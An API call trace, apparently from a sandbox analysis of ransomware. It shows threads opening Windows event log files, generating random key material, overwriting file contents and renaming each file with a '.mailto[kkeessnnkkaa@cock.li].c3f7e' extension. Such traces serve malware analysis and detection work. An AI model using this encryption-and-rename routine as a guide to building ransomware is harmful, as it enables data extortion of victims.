	[0080.900] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0xf9401e6f
	[0080.900] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0xb853e51d
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x77b5254e
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x2744f057
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0xc4e3e3a7
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0xd29810be
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x26027e3b
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0xe631437f
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x7b928bc2
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x5aef7466
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x142f6dff
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x402e2a48
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x3ac1c5c8
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x7e6966f7
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x6052c2ae
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x2bcc5689
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x43592465
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x91298bd8
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x205504a3
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x7f6c2a28
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0xa189c8dc
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x947dc744
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0x4a5b1d92
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0xe394b5dd
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0xabe8d02b
	[0080.901] RtlRandom (in: Seed=0x115bfae8 | out: Seed=0x115bfae8) returned 0xbe428d72
	[0080.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77290
	[0080.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0080.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77268) returned 1
	[0080.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0080.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47f9ff0
	[0080.912] SetFilePointerEx (in: hFile=0x13fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.912] ReadFile (in: hFile=0x13fc, lpBuffer=0x47f9ff0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x115bfabc, lpOverlapped=0x0 | out: lpBuffer=0x47f9ff0*, lpNumberOfBytesRead=0x115bfabc*=0xc800, lpOverlapped=0x0) returned 1
	[0081.124] SetFilePointerEx (in: hFile=0x13fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.124] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.124] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.124] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c58
	[0081.124] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c58) returned 1
	[0081.125] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4feb808
	[0081.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c58
	[0081.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.128] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.128] WriteFile (in: hFile=0x13fc, lpBuffer=0x4feb808*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x115bfabc, lpOverlapped=0x0 | out: lpBuffer=0x4feb808*, lpNumberOfBytesWritten=0x115bfabc*=0xc800, lpOverlapped=0x0) returned 1
	[0081.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4feb808) returned 1
	[0081.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47f9ff0) returned 1
	[0081.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5f) returned 0x4780570
	[0081.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e60
	[0081.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0081.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5f) returned 0x47805d8
	[0081.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e38
	[0081.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33cd0
	[0081.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0081.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x143) returned 0x47318b8
	[0081.258] SetFilePointerEx (in: hFile=0x13fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.258] WriteFile (in: hFile=0x13fc, lpBuffer=0x47318b8*, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x115bfb3c, lpOverlapped=0x0 | out: lpBuffer=0x47318b8*, lpNumberOfBytesWritten=0x115bfb3c*=0x143, lpOverlapped=0x0) returned 1
	[0081.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318b8) returned 1
	[0081.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47805d8) returned 1
	[0081.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e38) returned 1
	[0081.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780570) returned 1
	[0081.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c58) returned 1
	[0081.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0081.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77290) returned 1
	[0081.311] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77358) returned 1
	[0081.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2ddb5f0
	[0081.311] wcscpy (in: _Dest=0x2ddb5f0, _Source="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx"
	[0081.311] wcscat (in: _Dest=0x2ddb5f0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.311] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x115bfaf4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.311] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476b730
	[0081.311] NtSetInformationFile (FileHandle=0x13fc, IoStatusBlock=0x115bfaec, FileInformation=0x476b730, Length=0xc0, FileInformationClass=0xa) returned 0x0
	[0087.767] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b730) returned 1
	[0087.767] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b228) returned 1
	[0087.767] NtQueryInformationFile (in: FileHandle=0x13fc, IoStatusBlock=0x115bfb00, FileInformation=0x115bfad8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x115bfb00, FileInformation=0x115bfad8) returned 0x0
	[0087.767] NtSetInformationFile (FileHandle=0x13fc, IoStatusBlock=0x115bfb00, FileInformation=0x115bfad8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.770] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb5f0) returned 1
	[0087.770] FlushFileBuffers (hFile=0x13fc) returned 1
	[0092.864] CloseHandle (hObject=0x13fc) 

Thread:
	id = 427
	os_tid = 0x15d4

	[0076.963] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20
	[0080.481] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx", dwFileAttributes=0x20) returned 1
	[0080.482] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x810
	[0080.482] GetFileSizeEx (in: hFile=0x810, lpFileSize=0x1163fec4 | out: lpFileSize=0x1163fec4*=69632) returned 1
	[0080.482] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.482] ReadFile (in: hFile=0x810, lpBuffer=0x1163fe48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1163fe44, lpOverlapped=0x0 | out: lpBuffer=0x1163fe48*, lpNumberOfBytesRead=0x1163fe44*=0x4, lpOverlapped=0x0) returned 1
	[0080.913] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0080.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77268
	[0080.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0080.913] NtQuerySystemTime (in: CurrentTime=0x1163fe24 | out: CurrentTime=0x1163fe24*=132251868076560682) returned 0x0
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xe1837357
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xce88ad04
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x9c78c360
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x2db42956
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xf2a20605
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xfc525b23
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xf51918c4
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x98e7a2c6
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x15567ca5
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x2302476e
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x9e1932c3
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x2076e7bd
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x851c4ab3
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x43a8d414
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xdd4297fd
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x9b6da78b
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x7572b55c
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x7db6d009
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xf4f75c60
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x6c4449f8
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xa7aab1c
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xef3f11d1
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x6545504d
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xe964cd20
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x3a62c928
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xd3fc89db
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x75b4331f
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xd46c4513
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x1649ebf4
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x78d1c001
	[0080.913] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0x753e5490
	[0080.914] RtlRandom (in: Seed=0x1163fe30 | out: Seed=0x1163fe30) returned 0xcbd832e2
	[0080.921] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77380
	[0080.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773a8
	[0080.923] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.923] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0080.923] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0080.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48067f8
	[0080.925] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.925] ReadFile (in: hFile=0x810, lpBuffer=0x48067f8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1163fe04, lpOverlapped=0x0 | out: lpBuffer=0x48067f8*, lpNumberOfBytesRead=0x1163fe04*=0xc800, lpOverlapped=0x0) returned 1
	[0081.129] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.129] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.129] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.129] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c80
	[0081.129] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c80) returned 1
	[0081.130] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ff8010
	[0081.133] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c80
	[0081.133] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.134] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.134] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.134] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.134] WriteFile (in: hFile=0x810, lpBuffer=0x4ff8010*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1163fe04, lpOverlapped=0x0 | out: lpBuffer=0x4ff8010*, lpNumberOfBytesWritten=0x1163fe04*=0xc800, lpOverlapped=0x0) returned 1
	[0081.260] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff8010) returned 1
	[0081.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48067f8) returned 1
	[0081.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6f) returned 0x2e04090
	[0081.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e60
	[0081.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0081.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6f) returned 0x2e04108
	[0081.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e60
	[0081.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33cd0
	[0081.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0081.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.263] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.263] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x153) returned 0x4731a08
	[0081.263] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.263] WriteFile (in: hFile=0x810, lpBuffer=0x4731a08*, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0x1163fe84, lpOverlapped=0x0 | out: lpBuffer=0x4731a08*, lpNumberOfBytesWritten=0x1163fe84*=0x153, lpOverlapped=0x0) returned 1
	[0081.299] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a08) returned 1
	[0081.299] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04108) returned 1
	[0081.299] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0081.299] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0081.299] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c80) returned 1
	[0081.299] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77268) returned 1
	[0081.299] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77380) returned 1
	[0081.299] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773a8) returned 1
	[0081.299] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476bbe0
	[0081.299] wcscpy (in: _Dest=0x476bbe0, _Source="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx"
	[0081.299] wcscat (in: _Dest=0x476bbe0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.300] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1163fe3c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e123f8
	[0081.300] NtSetInformationFile (FileHandle=0x810, IoStatusBlock=0x1163fe34, FileInformation=0x2e123f8, Length=0xd0, FileInformationClass=0xa) returned 0x0
	[0087.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e123f8) returned 1
	[0087.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9500) returned 1
	[0087.804] NtQueryInformationFile (in: FileHandle=0x810, IoStatusBlock=0x1163fe48, FileInformation=0x1163fe20, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1163fe48, FileInformation=0x1163fe20) returned 0x0
	[0087.804] NtSetInformationFile (FileHandle=0x810, IoStatusBlock=0x1163fe48, FileInformation=0x1163fe20, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476bbe0) returned 1
	[0087.807] FlushFileBuffers (hFile=0x810) returned 1
	[0092.922] CloseHandle (hObject=0x810) 

Thread:
	id = 428
	os_tid = 0x15d8

	[0076.963] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20
	[0080.484] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", dwFileAttributes=0x20) returned 1
	[0080.484] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1404
	[0080.484] GetFileSizeEx (in: hFile=0x1404, lpFileSize=0x116bf84c | out: lpFileSize=0x116bf84c*=69632) returned 1
	[0080.484] SetFilePointerEx (in: hFile=0x1404, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.484] ReadFile (in: hFile=0x1404, lpBuffer=0x116bf7d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x116bf7cc, lpOverlapped=0x0 | out: lpBuffer=0x116bf7d0*, lpNumberOfBytesRead=0x116bf7cc*=0x4, lpOverlapped=0x0) returned 1
	[0080.887] SetFilePointerEx (in: hFile=0x1404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0080.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0080.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77268
	[0080.888] NtQuerySystemTime (in: CurrentTime=0x116bf7ac | out: CurrentTime=0x116bf7ac*=132251868076244851) returned 0x0
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x8adc953a
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x57fd7ec8
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xcb7fbb8f
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xa03302fd
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x4f56dfc8
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xcc3149d1
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x24f30399
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x1a529c1f
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x25150527
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xca5cc9ef
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x8adf47f3
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xb38b66a3
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x73cb4f95
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xecef4e64
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xc94b028f
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x97c2be1d
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xe14d9a70
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x7fc0ea48
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xc390a4c2
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0xb6fadc3e
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x565dfe35
	[0080.888] RtlRandom (in: Seed=0x116bf7b8 | out: Seed=0x116bf7b8) returned 0x2c5395d4
